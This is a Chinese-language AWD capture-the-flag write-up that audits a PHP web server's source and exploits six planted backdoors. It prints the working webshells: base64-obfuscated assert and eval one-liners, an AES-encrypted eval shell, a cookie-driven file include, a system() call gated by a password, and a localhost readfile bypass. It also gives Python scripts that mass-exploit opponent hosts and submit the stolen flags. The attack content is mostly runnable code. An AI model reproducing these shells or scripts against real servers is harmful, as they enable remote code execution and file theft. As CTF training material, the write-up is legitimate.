拿到账号第一步还是要连接xshell修改密码 passwd

然后连接WinSCP将源码拖下来用D盾去扫描

扫描出的六个漏洞,依次进行代码审查

.config_common.php

<?php 
error_reporting(0);
set_time_limit(0);
$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");
$a(@${"_P"."O"."S"."T"}[520]); 
echo $a;
?>

$a是通过将拼接的字符(YXNzZXJ0)进行base64转码得到assert,再通过与$POST[520]进行拼接,得到完整的一句话木马 assert($POST[520]),就可以进行构造利用

img

注意:URL的填写

自动化脚本

import requests

url = 'http://118.89.227.105'
shell={"520":"system(\"cat /flag\");"}
for i in range(1,9):
    ip=url+":880%s/.config_common.php"%i
    re=requests.post(url=ip,data=shell)
    print(re.text)
    if re.status_code == 200:
        flag = str(re.text)
        url_flag="http://118.89.227.105:9090"
        data = {"flag":flag , "token":"97e361a1df6b0cd7bfda8c1f7be7bdb3"}
        subflag = requests.post(url=url_flag,data=data)
        print(subflag.url)
        if "success" in subflag.text:
            print("submit flag seccess")
        else:
            continue

pdd.php

<?php @eval($_REQUEST["pdsdt"]);?>

简单的一句话木马利用

img

ciscn_config.php

<?php
echo "Mysql閾炬帴閰嶇疆";
error_reporting(0);
$con = mysql_connect ("127.0.0.1", "root", "c933ccc3b6b2fe8cb830a5e76f5f98a5");
if (!$con){
  print('Could not connect: ' . mysqli_error());
}
mysql_select_db("ciscn_web", $con);

forward_static_call_array(assert,array($_POST["x"]));
class c
{
        public $code = null;
        public $decode = null;
        function __construct()
        {       $this->code='ZXZhbCgkX1BPU1RbcGFzc10pOw==';
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

}
new c();

?>

直接看class c里面的函数

调用_construct()函数,将一段base64的编码放入code中,再解码放入decode中,放进eval()函数中进行执行

通过解码这段base64可以得到一句话木马

eval($_POST[pass]);

ciscn_include.php

<?php 
$cookie=$_COOKIE["cookie"];
@error_reporting(0);
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    $key="e45e329feb5d925b"; 
    $_SESSION['k']=$key;
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}
include($cookie);
?>
$cookie=$_COOKIE["cookie"];
include($cookie);

可以通过cookie调用include()函数

在common.css中存在highlight_file()函数

<?php
highlight_file("/flag");
?>

则可以通过include()函数调用common.css文件,显示flag,由于common.css与ciscn_include.php不在同一目录下,在cookie调用的时候需要规定同一目录..

自动化脚本

import requests

url = 'http://118.89.227.105'
headers={"Cookie":"cookie=../css/common.css"}
for i in range(1,9):
    ip=url+":880%s/blog/ciscn_include.php"%i
    re=requests.post(url=ip,headers=headers)
    if re.status_code == 200:
        flag = str(re.text)[36:68]
        print(flag)
        url_flag="http://118.89.227.105:9090"
        data = {"flag":flag , "token":"97e361a1df6b0cd7bfda8c1f7be7bdb3"}
        subflag = requests.post(url=url_flag,data=data)
        print(subflag.url)
        if "success" in subflag.text:
            print("submit flag seccess")
        else:
            continue

再去分析中间部分的代码

@error_reporting(0);
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    $key="e45e329feb5d925b"; 
    $_SESSION['k']=$key;
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}

如果为post传参,将key赋值为e45e329feb5d925b,如果存在openssl扩展,则执行else语句

$post=openssl_decrypt($post, "AES128", $key);

这句话将post传入的参数进行AES解密,然后再传输

$arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);

$arr中利用’|’将数组进行拆分,使得我们post传输的命令为数组的第二位,并将其定义到$params变量中,再通过call_user_func()函数将$params中的命令以eval()函数执行

将我们要传输的php命令进行AES的加密

<?php
$key="e45e329feb5d925b";
$post="|echo `cat /flag`;";
$post=openssl_encrypt($post, "AES128", $key);
print_r($post);

//CiDtH1P3p4Ka6hH8BzNW6xe1JCyXvj6vshGKiZH14eg=

进行post传参传入shell

.111.php

代码比较简单,进行指定post传参,如果符合判断要求,执行system命令,读取/flag

<?php
$pass=$_POST["password"];
if($pass == "4eff2c041976ea22afb7092a53188c70")
    {
        system($_GET["getshell"]);
        readfile("/flag");
    }
else
    {
        echo "be1c5ff7101b7791469b5df2315cf75a";
    }
?>

4eff2c041976ea22afb7092a53188c70.php

简单一句话木马利用

<?php
eval($_POST["cmd"]);
?>

注意php页面路径问题

img

ciscn_notes.php

<?php
error_reporting(0);
session_start();
include('ciscn_config.php');

if(isset($_GET['id'])){
    $id = mysql_real_escape_string($_GET['id']);
    if(isset($_GET['topic'])){
        $topic = mysql_real_escape_string($_GET['topic']);
        $topic = sprintf("AND topic='%s'", $topic);
    }else{
        $topic = '';
    }
    $sql = sprintf("SELECT * FROM notes WHERE id='%s' $topic", $id);
    $result = mysql_query($sql,$con);
    $row = mysql_fetch_array($result);
    if(isset($row['topic'])&&isset($row['substance'])){
        echo "<h1>".$row['topic']."</h1><br>".$row['substance'];
        die();
    }else{
        die("You're wrong!");
    }
}

class ciscn_nt {
    var $a;
    var $b;
    function __construct($a,$b) {
        $this->a=$a;
        $this->b=$b;
    }
    function test() {
       array_map($this->a,$this->b);
    }
}
$p1=new ciscn_nt(assert,array($_POST['x']));
$p1->test();
?>

重点关注后半段代码,调用construct()函数将$a、$b赋值给a、b,通过array_map()回调函数将a,b分别定义给assert和$_POST[‘x],再定义了new ciscn_nt()函数,将a b进行拼接执行函数,构造成:

<?php assert($_POST['x'];?)

这样就可以利用一句话木马进行getshell

ciscn_url.php

<?php
$url = $_GET['url'];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
    exit('error');
}
readfile($url);
?>

简单分析代码,通过get传参一个url,parse_url()函数进行一个模拟访问输入的url,并且要求url中一定含有localhost,这样就可以执行readfile命令

先从模拟访问url开始,模拟访问要调用http协议

然后再执行readfile()命令,需要用到file协议,直接读取/flag